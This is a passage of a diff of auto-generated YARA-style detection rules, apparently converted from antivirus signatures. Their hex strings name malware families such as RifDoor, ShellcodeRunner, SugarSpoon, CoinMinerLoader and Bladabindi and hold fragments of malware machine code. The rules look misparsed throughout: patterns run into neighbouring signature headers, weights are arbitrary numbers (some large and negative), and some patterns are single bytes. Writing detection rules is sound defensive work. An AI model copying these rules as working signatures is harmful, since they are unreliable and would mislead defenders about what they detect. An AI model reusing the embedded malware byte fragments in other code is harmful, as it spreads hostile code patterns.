2e 43 6f 6e 76 65 72 74 02 00 07 80 01 52 65 70 6c 61 63 65 00 00 78 bc 00 00 65 00 65 00 02 00 21 23 48 53 54 52 3a 48 51 2d 56 69 64 65 6f 2d 50 72 6f 66 65 } //384 - $a_6f_4 = {61 6c 5f 43 72 6f 73 73 72 69 64 65 72 00 64 00 44 00 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 48 00 51 00 2d 00 56 00 69 00 64 00 65 00 6f 00 2d 00 50 00 72 00 6f 00 66 00 65 00 73 00 73 00 69 00 6f 00 6e 00 61 00 6c 00 01 00 40 01 43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 } //29555 - $a_39_5 = {2e 53 61 6e 64 62 6f 78 2e 31 20 3d 20 73 20 27 43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 35 30 32 39 34 2e 53 61 6e 64 62 6f 78 00 00 78 bd 00 00 } //12341 - $a_00_6 = {01 } //1 - $a_41_7 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 69 66 44 6f 6f 72 2e 53 49 42 21 4d 54 42 00 01 00 8e 02 } //8448 + $a_75_3 = {73 74 72 69 6e 67 02 00 08 80 01 47 65 74 54 79 70 65 73 02 00 0e 80 01 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 02 00 07 80 01 52 65 70 6c 61 63 65 00 00 78 bc 00 00 3c 00 3c 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 } //384 + $a_63_4 = {64 65 52 75 6e 6e 65 72 2e 4d 52 21 4d 54 42 00 0f 00 20 01 48 89 7c 24 28 48 c7 44 24 20 08 00 00 00 4c 8d 4d 40 33 d2 41 b8 00 00 02 00 48 8b 4d 38 ff 15 0f 00 25 01 c7 45 a8 18 00 00 00 c7 45 b8 01 00 00 00 48 89 7d b0 45 33 c9 4c 8d 45 a8 48 8d 54 24 78 48 8d 4c 24 70 ff 15 14 00 13 01 41 0f b7 cf 66 33 0c 2a 66 89 0a } //27749 + $a_02_5 = {49 83 ee 01 0a 00 22 01 45 46 7c 70 7c 56 7c 67 7c 70 7c 74 7c 61 7c 70 7c 46 7c 6c 7c 78 7c 77 7c 7a 7c 79 7c 7c 7c 76 7c 59 00 00 78 bc 00 00 65 00 65 00 02 00 21 23 48 53 54 52 3a 48 51 2d 56 69 64 65 6f 2d 50 72 6f 66 65 73 73 69 6f 6e 61 6c } //-29368 + $a_6f_6 = {73 72 69 64 65 72 00 64 00 44 00 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 48 00 51 00 2d 00 56 00 69 00 64 00 65 00 6f 00 2d 00 50 00 72 00 6f 00 66 00 65 00 73 00 73 00 69 00 6f 00 6e 00 61 00 6c 00 01 00 40 01 43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 35 30 32 39 34 2e 53 61 6e 64 62 6f 78 2e 31 20 } //17247 + $a_20_7 = {43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 35 30 32 39 34 2e 53 61 6e 64 62 6f 78 00 00 78 bd 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 69 66 44 6f 6f 72 2e 53 49 42 21 4d 54 42 00 01 00 8e 02 8b d6 c1 ea 08 89 55 90 01 01 8b d0 c1 ea 90 01 01 8b d8 c1 eb 90 01 01 22 d3 8b de 8b c8 c1 e9 08 22 d1 89 } //8253 condition: - ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*29269+(#a_3a_2 & 1)*24938+(#a_75_3 & 1)*384+(#a_6f_4 & 1)*29555+(#a_39_5 & 1)*12341+(#a_00_6 & 1)*1+(#a_41_7 & 1)*8448) >=16 + ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*29269+(#a_3a_2 & 1)*24938+(#a_75_3 & 1)*384+(#a_63_4 & 1)*27749+(#a_02_5 & 1)*-29368+(#a_6f_6 & 1)*17247+(#a_20_7 & 1)*8253) >=16 } -rule _InfrastructureShared_13041{ +rule _InfrastructureShared_13899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 5a 21 4d 54 42 00 0a 00 41 02 20 00 01 00 00 14 14 18 8d 90 01 04 25 16 11 04 11 0c 18 5a 18 6f 90 01 04 a2 25 17 1f 10 8c 90 01 04 a2 6f 90 01 04 6f 90 01 04 26 00 11 } //18467 $a_13_1 = {11 0c 11 05 fe 04 13 0d 11 0d 2d aa 90 00 02 00 09 80 01 47 65 74 4d 65 74 68 6f 64 02 00 09 80 01 53 75 62 73 74 72 69 6e 67 02 00 08 80 01 47 65 74 54 79 70 65 73 02 00 0e 80 01 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 02 00 07 80 01 52 65 70 6c 61 63 65 00 00 } //5900 - $a_00_3 = {02 00 21 23 48 53 54 52 3a 48 51 2d 56 69 64 65 6f 2d 50 72 6f 66 65 73 73 69 6f 6e 61 6c 5f 43 72 6f 73 73 72 69 64 65 72 00 64 00 44 00 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 48 00 51 00 2d 00 56 00 69 00 64 00 65 00 6f 00 2d 00 50 00 72 00 6f 00 66 00 65 00 73 } //101 - $a_00_5 = {61 00 6c 00 01 00 40 01 43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 35 30 32 39 34 2e 53 61 6e 64 62 6f 78 2e 31 20 3d 20 73 20 27 43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 35 30 32 39 34 2e 53 61 6e 64 62 6f 78 00 00 78 bd 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 69 66 44 6f 6f 72 } //111 + $a_00_3 = {04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 4d 52 21 4d 54 42 00 0f 00 20 01 48 89 7c 24 28 48 c7 44 24 20 08 00 } //60 + $a_8d_4 = {40 33 d2 41 b8 00 00 02 00 48 8b 4d 38 ff 15 0f 00 25 01 c7 45 a8 18 00 00 00 c7 45 b8 01 00 00 00 48 89 7d b0 45 33 c9 4c 8d 45 a8 48 8d 54 24 78 48 8d 4c 24 70 ff 15 14 00 13 01 41 0f b7 cf 66 33 0c 2a 66 89 0a 48 8d 52 02 49 } //0 + $a_0a_5 = {00 } //-4477 condition: - ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*5900+(#a_00_3 & 1)*101+(#a_00_5 & 1)*111) >=20 + ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*5900+(#a_00_3 & 1)*60+(#a_8d_4 & 1)*0+(#a_0a_5 & 1)*-4477) >=20 } -rule _InfrastructureShared_13042{ +rule _InfrastructureShared_13900{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,3c 00 3c 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 4d 52 21 4d 54 42 00 0f 00 20 01 48 89 7c 24 28 48 c7 44 24 20 08 00 00 00 4c 8d 4d 40 33 d2 41 b8 00 00 02 00 48 8b 4d } //21539 + $a_0f_1 = {00 25 01 c7 45 a8 18 00 00 00 c7 45 b8 01 00 00 00 48 89 7d b0 } //-200 + $a_4c_2 = {45 a8 48 8d 54 24 78 48 8d 4c 24 70 ff 15 14 00 13 01 41 0f b7 cf 66 33 0c 2a 66 89 0a 48 8d 52 02 49 83 ee 01 0a 00 22 01 45 46 7c 70 7c 56 7c 67 7c 70 7c 74 7c 61 7c 70 7c 46 7c 6c 7c 78 7c 77 7c 7a 7c 79 7c 7c 7c 76 7c 59 00 00 78 bc 00 00 65 00 65 00 02 00 21 23 48 53 54 52 3a 48 51 2d 56 69 64 65 6f 2d 50 72 6f 66 65 73 73 69 6f 6e 61 6c 5f 43 72 6f 73 73 72 69 64 65 72 00 64 00 44 00 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 48 00 51 00 2d 00 56 00 69 00 64 00 65 00 6f 00 2d 00 50 00 72 00 6f 00 66 00 65 00 73 00 73 00 69 00 6f 00 6e 00 61 00 6c 00 01 00 } //13125 + $a_72_3 = {73 73 72 69 64 65 72 41 70 70 30 30 35 30 32 39 34 2e 53 61 6e 64 62 6f 78 2e 31 20 3d 20 73 20 27 43 72 6f 73 73 72 69 64 65 72 41 70 70 30 30 35 30 32 39 34 2e 53 61 6e 64 62 6f 78 00 00 78 bd 00 00 } //320 + condition: + ((#a_4c_0 & 1)*21539+(#a_0f_1 & 1)*-200+(#a_4c_2 & 1)*13125+(#a_72_3 & 1)*320) >=60 + +} +rule _InfrastructureShared_13901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 02 00 21 " @@ -146489,7 +156315,7 @@ rule _InfrastructureShared_13042{ ((#a_54_0 & 1)*18467) >=101 } -rule _InfrastructureShared_13043{ +rule _InfrastructureShared_13902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -146499,7 +156325,7 @@ rule _InfrastructureShared_13043{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13044{ +rule _InfrastructureShared_13903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -146509,7 +156335,7 @@ rule _InfrastructureShared_13044{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13045{ +rule _InfrastructureShared_13904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -146519,7 +156345,7 @@ rule _InfrastructureShared_13045{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13046{ +rule _InfrastructureShared_13905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -146529,7 +156355,7 @@ rule _InfrastructureShared_13046{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13047{ +rule _InfrastructureShared_13906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -146539,7 +156365,7 @@ rule _InfrastructureShared_13047{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13048{ +rule _InfrastructureShared_13907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -146549,7 +156375,7 @@ rule _InfrastructureShared_13048{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13049{ +rule _InfrastructureShared_13908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -146559,7 +156385,7 @@ rule _InfrastructureShared_13049{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13050{ +rule _InfrastructureShared_13909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -146569,7 +156395,7 @@ rule _InfrastructureShared_13050{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_13051{ +rule _InfrastructureShared_13910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -146580,7 +156406,7 @@ rule _InfrastructureShared_13051{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*9474) >=1 } -rule _InfrastructureShared_13052{ +rule _InfrastructureShared_13911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -146592,7 +156418,20 @@ rule _InfrastructureShared_13052{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*14434+(#a_80_2 & 1)*1) >=1 } -rule _InfrastructureShared_13053{ +rule _InfrastructureShared_13912{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 47 21 64 68 61 00 01 00 25 80 01 3c 43 72 65 61 74 65 49 6e 67 72 65 73 73 53 70 6f 6f 66 46 6f 72 43 6f 6e 74 61 69 6e 65 72 41 73 79 6e 63 3e 01 00 25 80 } //16675 + $a_65_1 = {6f 76 65 49 6e 67 72 65 73 73 53 70 6f 6f 66 46 6f 72 43 6f 6e 74 61 69 6e 65 72 41 73 79 6e 63 3e 01 00 1e 80 01 3c 45 78 65 63 75 74 65 57 6f 6f 64 73 74 6f 63 6b 52 65 71 75 65 73 74 41 73 79 6e 63 3e 01 00 15 80 01 3c 44 65 6c 65 74 65 56 66 } //15361 + $a_6c_2 = {73 41 73 79 6e 63 3e 00 00 78 bd 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 70 6c 61 74 4c 6f 61 64 65 72 2e 47 21 64 68 61 00 01 00 40 40 f3 0f 6f 04 08 0f 57 c1 f3 0f 7f 04 08 f3 0f 6f 44 08 10 0f 57 c1 f3 0f 7f 44 08 10 f3 0f 6f 44 08 20 0f 57 c1 f3 0f 7f 44 08 20 f3 0f 6f 44 08 30 0f 57 c1 f3 0f 7f 44 08 } //21104 + $a_c0_3 = {48 3d 01 00 48 42 b8 4d 5a 00 00 66 39 05 90 01 04 0f 85 90 01 04 48 63 2d 90 01 04 48 8d 3d 90 01 04 48 03 ef 81 7d 90 01 01 50 45 00 00 0f 85 90 01 04 8b 55 90 01 01 41 b9 04 00 00 00 48 8b 4d 90 01 01 41 b8 00 20 00 00 ff 15 90 00 00 00 78 bd 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 43 4e 5f 48 6f 6e 6b 65 72 5f 48 63 6f 6e 53 54 46 70 } //18480 + condition: + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*15361+(#a_6c_2 & 1)*21104+(#a_c0_3 & 1)*18480) >=1 + +} +rule _InfrastructureShared_13913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -146603,7 +156442,7 @@ rule _InfrastructureShared_13053{ ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*8200) >=2 } -rule _InfrastructureShared_13054{ +rule _InfrastructureShared_13914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -146613,7 +156452,7 @@ rule _InfrastructureShared_13054{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_13055{ +rule _InfrastructureShared_13915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -146624,7 +156463,7 @@ rule _InfrastructureShared_13055{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_13056{ +rule _InfrastructureShared_13916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -146634,7 +156473,7 @@ rule _InfrastructureShared_13056{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13057{ +rule _InfrastructureShared_13917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -146645,7 +156484,7 @@ rule _InfrastructureShared_13057{ ((#a_54_0 & 1)*18467+(#a_91_1 & 1)*1041) >=2 } -rule _InfrastructureShared_13058{ +rule _InfrastructureShared_13918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -146657,7 +156496,7 @@ rule _InfrastructureShared_13058{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_8d_2 & 1)*26115) >=2 } -rule _InfrastructureShared_13059{ +rule _InfrastructureShared_13919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -146669,20 +156508,34 @@ rule _InfrastructureShared_13059{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*102+(#a_54_2 & 1)*29550) >=2 } -rule _InfrastructureShared_13060{ +rule _InfrastructureShared_13920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " strings : $a_46_0 = {59 32 56 3a 43 79 62 65 72 5f 53 61 66 65 74 79 5f 53 6f 6c 75 74 69 6f 6e 73 5f 54 72 2f 49 72 6f 6e 54 69 67 65 72 5f 64 6c 6c 73 68 65 6c 6c 65 78 63 32 30 31 30 00 02 00 23 80 01 4d 69 63 72 6f 73 6f 66 74 2e 45 78 63 68 61 } //16675 - $a_2e_1 = {6c 69 65 6e 74 73 2e 41 75 74 68 2e 64 6c 6c 02 00 0f 80 01 44 6c 6c 73 68 65 6c 6c 65 78 63 32 30 31 30 02 00 13 80 01 55 73 65 72 73 5c 6c 6a 77 5c 44 6f 63 75 6d 65 6e 74 73 01 00 11 80 01 70 6c 65 61 73 65 20 69 6e 70 75 74 20 70 61 74 68 01 00 08 80 01 61 75 74 68 2e 6f 77 61 00 00 78 bd 00 00 03 } //26478 - $a_41_3 = {46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 69 6e 4d 69 6e 65 72 4c 6f 61 64 65 72 2e } //8448 F:HSTR:Trojan:MSIL/CoinMinerLoader. - $a_00_4 = {0e } //65 + $a_2e_1 = {6c 69 65 6e 74 73 2e 41 75 74 68 2e 64 6c 6c 02 00 0f 80 01 44 6c 6c 73 68 65 6c 6c 65 78 63 32 30 31 30 02 00 13 80 01 55 73 65 72 73 5c 6c 6a 77 5c 44 6f 63 75 6d 65 6e 74 73 01 00 11 80 01 70 6c 65 61 73 65 20 69 6e 70 75 74 20 70 61 74 68 01 00 08 80 01 61 75 74 68 2e 6f 77 61 00 00 78 bd 00 00 02 } //26478 + $a_48_3 = {54 52 3a 57 69 6e 33 32 2f 41 64 76 61 6e 63 65 64 45 76 61 73 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 } //8448 + $a_4e_4 = {51 } //-32487 Q condition: - ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*26478+(#a_41_3 & 1)*8448+(#a_00_4 & 1)*65) >=2 + ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*26478+(#a_48_3 & 1)*8448+(#a_4e_4 & 1)*-32487) >=2 } -rule _InfrastructureShared_13061{ +rule _InfrastructureShared_13921{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 41 64 76 61 6e 63 65 64 45 76 61 73 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 19 81 01 4e 74 51 75 65 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 01 00 18 81 01 4e 74 51 75 65 72 79 53 79 73 74 65 6d 49 6e 66 6f } //18467 + $a_74_1 = {6f 6e 01 00 17 81 01 4e 74 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 63 65 73 73 01 00 17 81 01 51 75 65 72 79 50 65 72 66 6f 72 6d 61 6e 63 65 43 6f 75 6e 74 65 72 01 00 0c 81 01 47 65 74 54 69 63 6b 43 6f 75 6e 74 01 00 07 81 01 53 6c 65 65 70 45 78 00 00 78 bd 00 00 03 00 03 00 } //28018 + $a_23_2 = {4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 69 6e 4d 69 6e 65 72 4c 6f 61 64 } //3 LF:HSTR:Trojan:MSIL/CoinMinerLoad + $a_41_3 = {01 00 0e 01 52 75 6e 50 45 00 3c 4d 6f 64 75 6c 65 3e 01 00 34 01 4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 46 00 69 00 6c 00 65 00 } //29285 + $a_00_4 = {6d 00 65 00 00 00 52 00 75 00 6e 00 50 00 45 00 2e 00 65 00 78 00 65 00 01 00 3e 01 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 4e 00 61 00 6d 00 65 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 51 00 75 00 69 00 63 00 6b 00 43 00 50 00 55 00 00 00 78 bd 00 00 03 } //110 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28018+(#a_23_2 & 1)*3+(#a_41_3 & 1)*29285+(#a_00_4 & 1)*110) >=2 + +} +rule _InfrastructureShared_13922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -146693,7 +156546,7 @@ rule _InfrastructureShared_13061{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*110) >=3 } -rule _InfrastructureShared_13062{ +rule _InfrastructureShared_13923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -146705,7 +156558,7 @@ rule _InfrastructureShared_13062{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_02_2 & 1)*1) >=3 } -rule _InfrastructureShared_13063{ +rule _InfrastructureShared_13924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -146717,7 +156570,7 @@ rule _InfrastructureShared_13063{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32+(#a_9c_2 & 1)*22877) >=3 } -rule _InfrastructureShared_13064{ +rule _InfrastructureShared_13925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -146728,7 +156581,7 @@ rule _InfrastructureShared_13064{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=3 } -rule _InfrastructureShared_13065{ +rule _InfrastructureShared_13926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -146740,7 +156593,7 @@ rule _InfrastructureShared_13065{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*104+(#a_4e_2 & 1)*28484) >=3 } -rule _InfrastructureShared_13066{ +rule _InfrastructureShared_13927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -146752,7 +156605,7 @@ rule _InfrastructureShared_13066{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*66+(#a_00_3 & 1)*80) >=3 } -rule _InfrastructureShared_13067{ +rule _InfrastructureShared_13928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -146765,7 +156618,7 @@ rule _InfrastructureShared_13067{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*11883+(#a_72_2 & 1)*28531+(#a_36_3 & 1)*12333) >=4 } -rule _InfrastructureShared_13068{ +rule _InfrastructureShared_13929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -146777,7 +156630,7 @@ rule _InfrastructureShared_13068{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*12339+(#a_53_2 & 1)*8993) >=4 } -rule _InfrastructureShared_13069{ +rule _InfrastructureShared_13930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -146787,7 +156640,7 @@ rule _InfrastructureShared_13069{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_13070{ +rule _InfrastructureShared_13931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -146800,7 +156653,7 @@ rule _InfrastructureShared_13070{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28019+(#a_70_2 & 1)*385+(#a_00_3 & 1)*25966) >=4 } -rule _InfrastructureShared_13071{ +rule _InfrastructureShared_13932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -146813,7 +156666,7 @@ rule _InfrastructureShared_13071{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*296+(#a_00_2 & 1)*32+(#a_61_3 & 1)*28530) >=4 } -rule _InfrastructureShared_13072{ +rule _InfrastructureShared_13933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -146826,7 +156679,7 @@ rule _InfrastructureShared_13072{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*24933+(#a_3a_2 & 1)*17748+(#a_8b_3 & 1)*535) >=4 } -rule _InfrastructureShared_13073{ +rule _InfrastructureShared_13934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -146834,12 +156687,26 @@ rule _InfrastructureShared_13073{ $a_4c_0 = {57 69 6e 36 34 2f 57 6f 76 64 6e 75 74 6c 6f 61 7a 2e 41 21 4d 54 42 00 01 00 13 81 01 45 74 77 70 43 72 65 61 74 65 45 74 77 54 68 72 65 61 64 01 00 17 02 49 89 c1 41 b8 40 00 00 00 ba 83 30 01 00 48 8d 90 } //21539 $a_8b_1 = {00 01 00 17 02 48 8b 45 e8 ba 00 00 00 00 48 8d 90 01 05 ff 90 01 01 89 45 e4 90 00 01 00 45 02 89 45 e0 83 7d e0 00 90 01 02 48 8b 90 01 05 ff 90 01 01 89 c3 b9 02 00 00 00 48 8b 90 01 05 ff 90 01 01 41 89 d8 48 8d } //1281 $a_48_2 = {c1 e8 90 01 06 } //400 - $a_f8_3 = {83 45 f4 01 8b 45 f4 3d 07 13 00 00 90 00 00 00 78 bd 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 6f 73 6f 67 6f 2e 49 21 64 68 61 00 02 00 17 01 69 6e 74 65 72 6e 61 } //-31928 + $a_f8_3 = {83 45 f4 01 8b 45 f4 3d 07 13 00 00 90 00 00 00 78 bd 00 00 04 00 04 00 07 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 21 41 4d 54 42 00 01 00 0f 80 01 6b 65 } //-31928 condition: ((#a_4c_0 & 1)*21539+(#a_8b_1 & 1)*1281+(#a_48_2 & 1)*400+(#a_f8_3 & 1)*-31928) >=4 } -rule _InfrastructureShared_13074{ +rule _InfrastructureShared_13935{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 21 41 4d 54 42 00 01 00 0f 80 01 6b 65 79 5f 6c 6f 67 67 65 72 5f 4c 6f 61 64 01 00 11 80 01 53 70 79 4e 6f 74 65 5f 41 63 74 69 76 61 74 65 64 01 00 1e 80 } //16675 + $a_79_1 = {6f 61 64 54 6f 6f 6c 53 74 72 69 70 4d 65 6e 75 49 74 65 6d 5f 43 6c 69 63 6b 01 00 0b 80 01 4c 6f 67 73 53 70 79 4e 6f 74 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 } //20481 + $a_41_4 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 6f 73 6f 67 6f 2e 49 21 64 68 61 00 02 00 17 01 69 6e 74 } //8448 + $a_61_5 = {73 2e 64 6c 6c 00 68 65 6c 70 2e 64 6c 6c 00 01 00 1e 01 52 65 6d 6f 76 65 56 65 63 74 6f 72 65 64 45 78 63 65 70 74 69 6f 6e 48 61 6e 64 6c 65 72 01 00 34 01 43 6f 6e 76 65 72 74 53 74 72 69 6e 67 53 65 63 75 72 69 74 79 44 65 73 63 72 69 70 74 6f 72 54 6f 53 65 63 75 72 69 74 79 44 65 73 63 72 69 70 74 6f 72 57 01 00 1c 01 47 } //29285 + $a_72_6 = {63 65 73 73 53 68 75 74 64 6f 77 6e 50 61 72 61 6d 65 74 65 72 73 00 00 78 bd 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 41 76 69 64 52 65 61 64 65 72 2e 42 21 64 68 61 00 03 00 11 01 74 61 72 6e } //29797 + condition: + ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*20481+(#a_41_4 & 1)*8448+(#a_61_5 & 1)*29285+(#a_72_6 & 1)*29797) >=4 + +} +rule _InfrastructureShared_13936{ meta: description = 